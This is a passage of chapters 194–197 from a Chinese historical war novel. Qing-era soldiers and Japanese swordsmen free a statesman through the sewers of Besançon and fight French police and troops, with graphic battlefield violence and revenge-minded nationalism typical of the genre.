陈逸风眉头一皱,快步下楼。楼梯的木板在他脚下发出吱呀声,仿佛在抗议这突如其来的打扰。一楼大厅里,两名护卫已经将皮埃尔制服,按在地上。一束玫瑰花被踢到角落,花瓣散落一地,像是洒在地上的血迹。 “放开我!你们这些野蛮人!”皮埃尔用蹩脚的中文喊道,声音里带着酒气,“爱情是自由的!你们没有权利阻止!” 他的衣服已经被扯得凌乱不堪,金色的卷发上沾满灰尘,但那双蓝色的眼睛依然闪烁着狂热的光芒。陈逸风刚要开口,皮埃尔已经挣脱护卫的钳制,捡起地上唯一完好的一朵玫瑰,单膝跪地。 “美丽的东方天使,请接受我的爱!”他高举玫瑰,深情地望着站在楼梯上的婉玉,“你就是我的缪斯!是上帝派来拯救我的天使!” 婉玉站在楼梯上,手指紧紧抓住扶手,脸色苍白。她从未见过如此疯狂的追求者,这让她既害怕又有些说不清道不明的感动。 “皮埃尔!”陈逸风怒喝一声,“你最好给我一个解释!” 但皮埃尔根本不理会陈逸风,反而用轻蔑的眼神看着他:“你这个伪君子!口口声声说是教民,却就是个囚禁公主的恶龙!” 护卫们听不懂法语,但看到皮埃尔对陈逸风不敬的态度,立刻冲上去就要动手。 “住手!”婉玉突然喊道,声音里带着哭腔。她快步走下楼梯,裙摆在空中划出一道优美的弧线。就在她弯腰捡起那朵玫瑰时,护卫的拳头已经落在皮埃尔脸上,一滴鲜血溅在雪白的花瓣上。 “求求你们别打了!”婉玉跪在地上,泪如雨下。 陈逸风看着这一幕,心中突然升起一股烦躁。他原本的计划是让所有人都沉浸在歌舞升平中,可这个疯狂的法国人,却在不知不觉间搅乱了一池春水。 “把他丢出去。”陈逸风冷冷地说,“以后再让我看到他,就别怪我不客气。” 护卫们拖着满脸是血的皮埃尔往外走,他还在不停地挣扎,用法语喊着什么。婉玉跪在地上,肩膀微微颤抖,眼泪一滴一滴落在地板上。 孟明蛇走到陈逸风身边,低声说:“老爷,这事不能这么算了。那个法国人知道得太多了。” 陈逸风摆摆手:“先别轻举妄动。现在最重要的是不能打草惊蛇。”他走到婉玉面前,轻声说道:“起来吧,地上凉。” 婉玉抬起头,泪眼朦胧地看着陈逸风:“老爷,我...” “我知道你想说什么。”陈逸风打断她的话,“但现在不是谈这些的时候。明天还有演出,你先回去休息吧。” 婉玉擦了擦眼泪,默默站起身。她的手还紧紧握着那朵玫瑰,花瓣上的血迹已经干涸,变成了暗红色。 陈逸风看着婉玉的背影,心中五味杂陈。他知道,这个单纯的姑娘可能已经对那个疯狂的法国人产生了某种感情。但现在,他们谁都不能任性。 第一百九十四章 兰大英勇牺牲 夜深了,贝桑松的街道上渐渐安静下来。只有远处教堂的钟声,依然在寂静的夜空中回荡。 藏在草堆中的野平太是第一个遭殃的。一支刺刀划过他的脸颊,鲜血顺着脸庞流下。但这位日本剑客愣是一声不吭,只是握紧了腰间的太刀。 更要命的是兰大,一支刺刀直接捅进了他的腹部。温热的鲜血浸透了牧草,但兰大硬是咬紧牙关,没有发出半点声响。他知道,一旦暴露,所有人都会死。 检查持续了将近一个小时,所幸没有被发现端倪。每个人都屏住呼吸,生怕发出一丝声响。 “快!赶紧进庄园!”一过关卡,亨利就疯狂抽打马匹。马蹄声在空旷的原野上回荡,车轮碾过泥土发出沉闷的声响。 等到了维也纳情报机构的牧场,掀开牧草后的场景让所有人都惊呆了。 “兰大!”野平太一把扶起已经奄奄一息的战友,声音中带着颤抖。 兰大的军服已经被鲜血浸透,脸色苍白如纸。但他的眼神依旧坚毅,那是剑士的骄傲。 “连长...我坚持不住了...”兰大虚弱地说,嘴角溢出鲜血,“请让我像剑士一样死去...” 苗烈虽然一向看不惯日本异族营,但看到战友受伤,顿时怒火中烧。 “兄弟,等着!我一定给你报仇,屠尽那个该死的哨卡!”苗烈的声音嘶哑,眼中闪烁着仇恨的火光。 兰大用尽最后的力气:“请...给我剑士的死亡...” 在场的日本籍战士全都跪地痛哭。他们知道,这是一个剑士最后的请求,也是最崇高的荣誉。 野平太缓缓抽出太刀,刀身在阳光下泛着冷冽的光芒。他的手很稳,但眼中却流下了泪水。 “永别了,我的战友。” 太刀划过空气,完成了最后的介错。兰大脸上带着释然的微笑,倒在了异国的土地上。 夕阳西下,血色的余晖笼罩着整个牧场。一代勇士,就此长眠异国他乡。 苗烈站在兰大的尸体旁,握紧了拳头。他知道,这笔血债迟早要讨回来。但现在,他们还有更重要的任务。 “收拾行装,我们还要继续前进。”苗烈沉声说道,“兰大的仇,我们一定会报。但现在,我们要完成军队交给我们的任务。” 其他人默默点头。他们都明白,在这场危险的任务中,或许还会有更多的牺牲。但这就是他们选择的道路,没有人会后悔。 夜幕降临,牧场陷入了沉寂。只有远处的狼嚎声划破夜空,仿佛在为逝去的勇士送行。 兰大的尸体被安葬在牧场的一棵老橡树下。野平太在墓前插上了自己的短刀,这是剑士最高的敬意。 “走吧。”苗烈最后看了一眼墓碑,转身离去。 任务还在继续,但今天发生的一切,永远都不会被遗忘。这是一个剑士的荣耀,也是一个战士的牺牲。在这条危险的道路上,他们还要继续前行。 巴黎的地下世界,是一座庞大的迷宫。 蜿蜒曲折的下水道系统纵横交错,宛如一条条巨龙盘踞在这座浪漫之都的脚下。这是拿破仑三世执政后最引以为傲的杰作之一,每年吸引着数以万计的游客前来参观。 而此刻,在法国边境小城贝桑松的地下水道中,一群神秘的东方人正悄然前行。潮湿的空气中弥漫着霉味,墙壁上爬满了青苔,脚下时不时传来老鼠窸窸窣窣的声响。 “这帮洋鬼子是不是疯了?建个下水道跟盖皇宫似的。”一个新军士兵压低声音嘀咕着,手指抚过墙壁上精美的雕花。 “就是,光这些石头就够盖一条街了。”另一个士兵附和道,“听说巴黎的下水道比这还要气派。” 诸葛林举着马灯,瞪了说话的两人一眼:“闭嘴!大人冒着多大风险才弄到这份地图,你们知道吗?”昏黄的灯光下,他的表情显得格外严肃。 手中的地图是陈逸风记下来的。那天在市议会看过一眼后,硬是凭着过人的记忆力把整个地下水道网络画了出来。每一条通道,每一个转角,都清晰地标注在这张纸上。 “这里。”诸葛林指着地图上一个交叉点,“再往前五十米就是第一个岔路口。” 潮湿的空气让纸张变得有些发软,但上面的墨迹依然清晰可见。这是他们唯一的指路明灯,一旦出错,后果不堪设想。 “时间紧迫。”诸葛林低声道,手指在地图上快速移动,“三刻钟后酒宴就要结束了,我们必须在那之前就位。” 瑾周信接过话头,声音低沉而坚定:“我负责制造骚乱吸引注意力,野平太和昭风郎负责地道。”他的目光在每个人脸上扫过,“记住,一旦行动开始,就没有退路。” 他指着地图上的一个标记点:“这处豪宅囚禁着那位大人,北墙外三米有个井口,你们要在三十分钟内挖通一条斜向通道到后厨房。” 昭风郎握紧了手中的铁锹,浑身因为兴奋而微微颤抖。作为异族营的一员,他一直觉得自己与新军格格不入。但今天,这个重要任务交到他手上,意味着中国弟兄们终于接纳了他们。 “兰大,等着我。”昭风郎在心中默念,眼中闪过一丝痛楚,“我要亲手将你的骸骨接回故里。” 野平太拍了拍他的肩膀,无声地给予支持。两人相视一笑,默契地检查着携带的工具。 队伍继续前进,马灯的光芒在潮湿的空气中形成一个朦胧的光晕。水滴从头顶的管道上落下,发出规律的滴答声,像是某种无声的倒计时。 与此同时,在贝桑松市中心一间封闭的房间里,法国情报分析员皮埃尔正陷入痛苦的挣扎中。 桌上堆满了情报文件,烟灰缸里塞满了烟蒂,地上散落着空酒瓶。他是贝桑松唯一看穿陈逸风计划的人。 普鲁士军队的异常调动、德意志南部的军事演习、陈逸风频繁出入的宴会...所有线索都指向一个惊人的真相。 第一百九十五章 地下水道 皮埃尔翻阅着1860年远征的档案,那些触目惊心的照片让他心如刀绞。圆明园的废墟、被劫掠的珍宝、流离失所的百姓...每一张照片都像一记重锤,敲打着他的良知。 “雨果说得对,一对恶贼摧毁了华夏的皇家行宫,此乃万物生灵的污点。”他喃喃自语,手指颤抖着抚过照片。 作为一个数学家出身的情报专家,他习惯用概率来分析问题。数字是最冷静的判断标准,但此刻,这些精确的计算反而让他更加困惑。 普鲁士军队直接营救的可能性只有15%,但如果有瑞士配合,成功率能达到75%。而最令他震惊的是,利用新军偷袭的概率竟高达90%。 “陈逸风,你在市议会停留的那十五分钟,真的只是对下水道感兴趣吗?”皮埃尔拿起桌上的酒瓶,却发现已经空了。 他知道自己该向上级报告这个惊人的发现。但每当他拿起笔,婉玉那双倔强的眼睛就会浮现在眼前。 地下水道中,新军的队伍已经接近目标。空气越发潮湿,墙壁上的水珠不断滴落,打湿了他们的衣服。 诸葛林不时查看着地图,确认每一个转弯都准确无误。这是一场没有退路的行动,任何一个细节的疏忽都可能导致灾难性的后果。 “前面就是目标点了。”瑾周信低声说道,“记住各自的位置。” 队伍停下脚步,开始分配任务。有人负责警戒,有人准备工具,每个人都知道自己该做什么。 昭风郎和野平太对视一眼,默默地架起了支撑木桩。他们要在最短的时间内挖通一条地道,这需要极其精准的计算和默契的配合。 在他们头顶上方,陈逸风正在宴会上与贵族们谈笑风生。没人知道,这个表面优雅的东方绅士,正在策划一场惊天动地的营救行动。 地下水道的阴暗中,马灯的光芒微微晃动,照亮了这群来自东方的神秘军队坚毅的面容。他们的眼中没有恐惧,只有坚定。 皮埃尔站在窗前,手中的红酒杯轻轻晃动。贝桑松的夜色如墨,窗外灯火阑珊。 他的目光投向不远处那栋别墅,那里正囚禁着琉球王国的宰相陈逸风。作为一名情报分析专家,他已经看出了端倪。但此刻,他却陷入了前所未有的纠结之中。 “该死!”他低声咒骂一句,仰头灌下一大口红酒。酒精在血管中燃烧,却无法驱散内心的煎熬。 作为一名法国人,他理应立即上报自己的分析结果。但作为一个有良知的人,他又不得不质疑这样做是否正确。 门外传来谢里夫焦急的脚步声。 “皮埃尔!”谢里夫推开门,脸上带着不耐烦的神色,“你分析得怎么样了?陛下已经等不及了!” “让我缓缓。”皮埃尔沙哑着嗓子说道,目光依旧停留在窗外。 他的脑海中不断闪现着婉玉那张倔强的脸庞。那个中国姑娘给了他一记响亮的耳光,指责他参与了这场不义之举。那一巴掌的力度不大,却仿佛打在了他的灵魂上。 “见鬼!为什么会变成这样?”皮埃尔烦躁地抓了抓头发,额头上渗出细密的汗珠。 他原本只是对婉玉有几分轻浮的心思,但那个倔强的东方女子用她的正气,彻底击溃了他内心的轻佻。每当想起婉玉那双清澈的眼睛,他就感到一阵心虚。 就在皮埃尔陷入两难之际,别墅的地下已经暗流涌动。 野平太和昭风郎带领着一群异族营的士兵,正在地下水道中奋力挖掘。每一铲土都小心翼翼,生怕发出太大的声响。潮湿的空气中弥漫着泥土的腥味,墙壁上爬满了青苔。 “快!再快点!”昭风郎压低声音催促道,汗水顺着他坚毅的面庞滑落,“二十分钟内必须打通,否则就只能用炸药了。” 士兵们的手指被石块割破,鲜血滴落在泥土中。但没有人叫苦,也没有人退缩。 “记住是谁给了我们尊严!”昭风郎继续鼓舞士气,声音中带着几分哽咽,“是陈大人让我们这些海贼,成为了受人尊敬的军人!” 这番话让所有人都红了眼眶。他们永远不会忘记,在琉球时那些日本剑士震惊的眼神。那一刻,他们不再是人人喊打的海盗,而是堂堂正正的军人。 地下水道里回荡着铁锹挖掘的声音,混合着粗重的喘息声。每个人都在争分夺秒,因为他们知道,地面上的每一分钟都弥足珍贵。 终于,他们挖通了一条通往别墅厨房的暗道。泥土簌簌落下,露出了一个黑洞洞的入口。 厨房里,圆滚滚的巴黎大厨在炖煮一锅香汤,突然感觉脚下传来异样的震动。她刚要弯腰查看,地面突然塌陷。还没来得及尖叫,就被一双有力的手臂拖入了地下。 就在这时,管家推门而入。野平太立刻用枪指着他:“不许出声!”管家的脸色瞬间变得惨白,双腿不住地发抖。 很快,一队队士兵从地道中钻出。他们迅速控制了厨房,准备接应陈逸风。每个人都屏住呼吸,生怕发出一点声响。 “不用接应了。”陈逸风的声音从门外传来,“我已经准备好了。” 他们在书房的桌上摆放了一个大卫头像,借着烛光在窗帘上投下阅读的剪影。这个障眼法或许骗不了多久,但争取十分钟的时间已经足够。 然而就在此时,皮埃尔终于做出了决定。 内心的挣扎让他的声音都有些颤抖。“来人!那群人打算从地下管网溜走!” 谢里夫等人冲进房间:“你说什么?” “全都是障眼法罢了!”皮埃尔快速分析道,眼中闪过一丝痛苦,“普鲁士军队的调动,德国情报机构的行动,甚至陈逸风参加的宴会,都是为了掩护这次逃脱!” 话音未落,警哨声已经响彻夜空。 皮埃尔砸开窗户,看着对面混乱的场景,心如刀割。窗外的冷风吹进来,却无法冷却他内心的煎熬。 “对不起,婉玉。”他喃喃自语,声音中充满了自责,“就这三十分钟,我能帮你们拖住。我终究是个法国人...” 谢里夫冲回来拉住他:“跟我来!现在就靠你这聪明劲儿了!” 别墅内,陈逸风带领着凤女一群人快速向地下水道入口移动。 第一百九十六章 别墅的枪战 “快!”野平太在前面带路,声音中带着焦急,“再有五分钟,警察就会发现地道!” 昭风郎殿后,不时回头查看是否有人追来。他的手中握着手枪,随时准备应对可能的突发情况。 就在这时,“砰,砰,砰……” 枪声在别墅内突兀响起,回荡在寂静的夜色中。陈逸风的脚步微微一顿,夜风中飘来淡淡的火药味。 “大人,情况有变,我们必须立刻撤离。”野平太压低声音说道,眼神警惕地扫视四周。 陈逸风没有说话,只是轻轻点头。他们沿着早已踩点好的路线,快速向别墅后方移动。潮湿的青苔爬满斜坡,脚下的石板因长年累月的雨水冲刷变得湿滑。 别墅厨房内,三名新军士兵紧握武器,呼吸平稳而有力。玻璃突然碎裂,子弹呼啸着穿透窗户,在墙壁上留下一个个弹孔。 “砰!”姆克雷扣动扳机,一名冲在最前面的法国警察应声倒地。他嘴角勾起一抹冷笑:“这些法国佬,还真敢动手。” “那是中国军官团!”人群中传来惊呼,“就是不莱梅报纸上报道的那伙人!” 更多的警察蜂拥而至,密集的弹雨扫向厨房。玻璃窗在枪声中支离破碎,厨具被打得叮当作响。烟雾弥漫中,一名新军士兵摸出火雨丹。 “别硬拼,引他们进来。”他低声说着,借着灶台的火苗点燃引线。火焰瞬间吞噬了狭窄的走廊,逼退了冲锋的警察。 大木靠在橱柜上检查弹药,抬头看了眼破碎的窗户:“守住各个入口,准备近战。” “大人有令,立即撤退!”野平太的声音从下水道传来,回荡在潮湿的甬道中。 三个猛将眼神交汇,眼中闪过复杂的情绪。底井右廉门轻声问道:“真的要走吗?” 井上握紧了剑士刀,刀鞘上的裂痕诉说着无数次战斗的痕迹:“法国佬援兵无穷无尽,只有给大人争取时间。” “兰大已经成神,我们为什么不能?”大木眼中闪烁着决绝的光芒,手指轻抚刀刃。 三人齐声喊道:“昭风郎,拜托您多多关照宰相大人。我们就在这里玉碎了!” 昭风郎跪倒在下水道的泥水中,污水打湿了他的裤腿:“你们这些混蛋!为什么要抗命!” 野平太叹了口气,声音中带着无奈:“走吧,这是他们的选择。”他仰头大喊:“断后就交给你们了!琉球战神庙会有你们的灵位!” “再见了!”三名战士的回应戛然而止。 厨房内爆发出野兽般的嘶吼。几名警察从窗户翻进来,迎面撞上三把出鞘的剑士刀。寒光闪过,鲜血在空中划出弧线。利刃切开血肉的声音令人毛骨悚然。 烟雾中,三颗手雷接连炸响。三道身影如同疯魔般破窗而出,向包围的警察发起自杀式冲锋。 “给给!”他们发出怪异的战吼,太刀在月光下泛着寒芒。警察们从未见过如此疯狂的战斗方式,不由自主地后退。即便身中数弹,这些剑士依然在挥舞着刀刃。 最终,三人倒在血泊中。他们支起剑士刀,嘴角挂着诡异的微笑。在生命的最后时刻,脑海中浮现出望海的海滩,首里城的战火,以及无数次训练时的汗水。 密集的枪声响起时,陈逸风突然捂住胸口,脸色变得苍白。 “大人!”众人惊呼。 “我没事。”陈逸风咬牙说道,汗水顺着额头滑落,“他们...是不是没撤?” 见众人沉默,他长叹一声:“弱国无外交!如果我们有强大的战舰,谁敢这样对我们!” 下水道内潮湿阴冷,积水浸透了鞋子。野平太走在最前面,手中的提灯在黑暗中摇曳。身后传来零星的枪声和爆炸声,每一声都像是在提醒着他们失去的战友。 “前面就是出口了。”野平太低声说道,“大人小心脚下。” 突然,北面传来一声巨大的爆炸。整个下水道都在震动,碎石簌簌落下。瑾周信带领的部队已经开始行动了。 市议会大楼在火光中轰然倒塌,震惊了整个贝桑松城。浓烟升腾,火光映红了半边天空。警笛声此起彼伏,混乱在城市中蔓延。 法国驻军如预料中般出动,却在城郊遭遇了诸葛林的伏击。火雨丹在夜空中划出一道道火线,照亮了这个注定不平静的夜晚。 “兵对兵将对将,谁先怂谁先凉!”诸葛林的声音在夜色中回荡,“为死去的兄弟报仇!为圆明园报仇!” 陈逸风一行人终于走出下水道,夜风中飘来硝烟的气息。远处的火光映照在他们脸上,勾勒出坚毅的轮廓。 “大人,马车已经准备好了。”一名手下低声报告。 陈逸风点点头,登上马车前,他最后看了眼燃烧的城市。今夜的贝桑松注定无眠,复仇的序幕已经拉开,血债终将血偿。 马车在夜色中疾驰,车轮碾过石板路发出哒哒声。野平太骑马跟在旁边,警惕地观察着四周。远处的爆炸声和枪声此起彼伏,但他们已经远离了战场。 “通知其他人,按计划撤离。”陈逸风靠在车厢里说道,声音有些疲惫。 野平太点头应是,派出几名手下传递命令。那些放在在巴黎拍卖会上的圆明园物品,那些耀武扬威的法国人,将为他们的傲慢付出代价。 夜色如墨,贝桑松城外的旷野上,一场血腥的遭遇战正在上演。 诸葛林带领的阻击部队加上瑾周信的援军,总共不过百余人。而对面,是一支四百多人的法军加强营。双方的人数差距如此悬殊,任谁看了都会觉得这是一场必败之局。 瑾周信握紧了手中的步枪,目光在黑暗中来回扫视。他的手指无意识地摩挲着枪托,喉结微微滚动:“人数差距太大了,我们这点人怎么可能......” “闭嘴。”诸葛林打断了他的话,眼中闪过一丝不屑,“就这群养尊处卫的法国佬,早就被和平生活腐蚀得不成样子了。” 话音刚落,远处突然传来急促的集结号声。 第一百九十七章 修罗鬼蜮 法军营地顿时乱作一团,士兵们睡眼惺忪地从帐篷里爬出来,有的还在手忙脚乱地穿着裤子,场面滑稽得令人发笑。 “看到了吗?”诸葛林冷笑一声,“这就是所谓的欧洲强军,连最基本的战备意识都没有。” 瑾周信眼前一亮,握枪的手不自觉地紧了紧:“这确实是个机会。” “就是现在!”诸葛林猛地站起身,“兄弟们,跟我上!” 一声令下,一百多名新军战士如猛虎出笼,向着混乱的法军营地发起冲锋。这些战士都是经过特种作战训练的精锐,每一个都堪比连排级军官。他们身形矫健,动作迅捷,在夜色的掩护下宛如幽灵般无声无息地接近敌营。 更重要的是,这些战士都精通格斗技巧,许多人更是出身武林世家。肉搏战对他们来说,简直就是家常便饭。他们的每一个动作都经过千锤百炼,每一击都蕴含着致命的杀机。 法军仓促应战,一个班一个班地往外冲,完全没有形成有效的战斗队形。新军则保持着严密的阵型,将这些零散的法军各个击破。 战场上传来阵阵惨叫,刺刀与刺刀相撞,发出刺耳的金属碰撞声。新军战士们如狼似虎,每一击都直取要害。鲜血在月光下泛着诡异的光泽,染红了大片的土地。 “该死的东方人!”一个法军军官怒吼着冲了上来,手中的军刀划出一道寒光。 一名新军战士身形一闪,轻松避开这致命一击。他右脚猛地踢出,正中那军官面门。只听“咔嚓”一声,军官的鼻梁骨断裂,整个人向后飞出三米多远,重重摔在地上再也没能爬起来。 战斗进行得异常激烈,法军虽然人数占优,但始终无法形成有效的合力。他们一次次发起冲锋,却又一次次被打退。地上横七竖八地躺满了尸体,大多数都穿着法军的制服。 突然,前线的法军开始后撤。瑾周信眉头紧皱,他的目光穿过混乱的战场,注意到敌军后方的异常调动。一个可怕的念头闪过脑海。 “不好!”瑾周信声嘶力竭地大吼,“他们要使用野战炮!所有人立即前冲,贴近敌人!” 话音未落,黑暗中已经亮起一排火光。轰隆隆的炮声响起,爆炸的气浪掀翻了后方的几名新军战士。泥土和碎石四处飞溅,空气中弥漫着刺鼻的硝烟味。 “二十个敢死队,跟我冲!”诸葛林怒吼一声,从腰间摸出最后一枚手雷。他的眼中闪烁着疯狂的光芒,仿佛一头即将扑食的猛兽。 不止二十个,几乎所有听到命令的新军战士都跟了上去。他们早就被陈逸风培养出了不怕死的性格。每个人的眼中都燃烧着必死的决心。 手雷爆炸声此起彼伏,在法军阵中炸出一条血路。残肢断臂飞舞,惨叫声不绝于耳。诸葛林带领着敢死队,如同一把尖刀般直插炮兵阵地。 “掩护!”瑾周信带领其他战士,用斯宾塞步枪压制敌军。密集的枪声中,不时有法军士兵中弹倒地。 法军营长站在炮兵阵地后方,还在声嘶力竭地叫嚣:“点起火把!给我轰死这些该死的东方人!” 诸葛林眼中寒光一闪,抄起一柄沾满鲜血的工兵锹就掷了出去。锋利的锹刃在空中划出一道寒光,直取营长咽喉。一名忠心的炮兵为救长官,扑身挡住了这致命一击。工兵锹深深插入他的胸膛,鲜血喷涌而出。 看到手下惨死,法军营长终于露出了惊恐的神色。他转身就跑,完全忘记了自己刚才的狂妄。仓皇逃窜的样子,哪还有半点军人的尊严? “就这?就这就是打败我们的法国陆军?”诸葛林冷笑着,带人占领了炮兵阵地。他随手抹去脸上的血迹,目光中充满了轻蔑。 “调转炮口!轰他们的营地!” 六门野战炮齐射,炮弹呼啸着飞向法军营地。爆炸声此起彼伏,火光冲天。帐篷被炸得粉碎,到处都是惊慌失措的法军士兵。那个逃跑的营长也被炸成了碎片,尸骨无存。 就在这时,贝桑松城东方升起三发信号弹,在漆黑的夜空中划出三道醒目的弧线。 “是大人的信号!”瑾周信一把拉住还想继续开炮的诸葛林,“咱们赶紧撤吧!” 诸葛林不甘心地看着混乱的法军营地,握紧的拳头因用力而发白:“让我缓一会儿,我要把这群狗娘养的全部送进地狱!” “来不及了!”瑾周信急得额头冒汗,“大人还等着我们掩护!再不走就要错过最佳撤退时机了!” 最终,新军不得不放弃继续追击的机会。他们迅速集结,带着伤员和阵亡将士的遗体,向东方撤退。每个人的脸上都带着不甘,但军令如山,由不得他们任性。 这一战,新军付出了三十二人阵亡、十二人重伤的代价。但他们给法军造成的伤亡更大:一百多人死亡,近百人重伤。法军的军营几乎被摧毁殆尽,损失惨重。 这就是震惊法兰西的蒙帕特案,一个让法国人永远难忘的血色之夜。当地人甚至给这片战场起了个诡异的绰号——“修罗鬼域”。 撤退的路上,瑾周信回头望了一眼还在燃烧的法军营地。火光映红了半边天,就像一个巨大的伤口。他的心情异常复杂,既为胜利感到兴奋,又为死去的兄弟感到悲痛。 一切都在这一夜之间发生了翻天覆地的变化。 皮埃尔的太阳穴突突直跳,他揉了揉发胀的眉心。内心仿佛有两个声音在不断交战,几乎要将他撕裂。 一个声音在说:【你做得对,扣押中国政要是法兰西犯下的过错。帝国派兵焚烧清宫实属卑劣。你的所作所为都在为法兰西洗刷罪孽......】 另一个声音却在怒吼:【放屁!你是法国人!法兰西的存亡重于泰山!即便异族死绝也不该有丝毫怜悯,弱肉强食就是生存法则!】 “皮埃尔,冷静点......”谢里夫小心翼翼地靠近,轻轻拍了拍他的肩膀,担忧地看着他“到底怎么了?为什么要放弃?”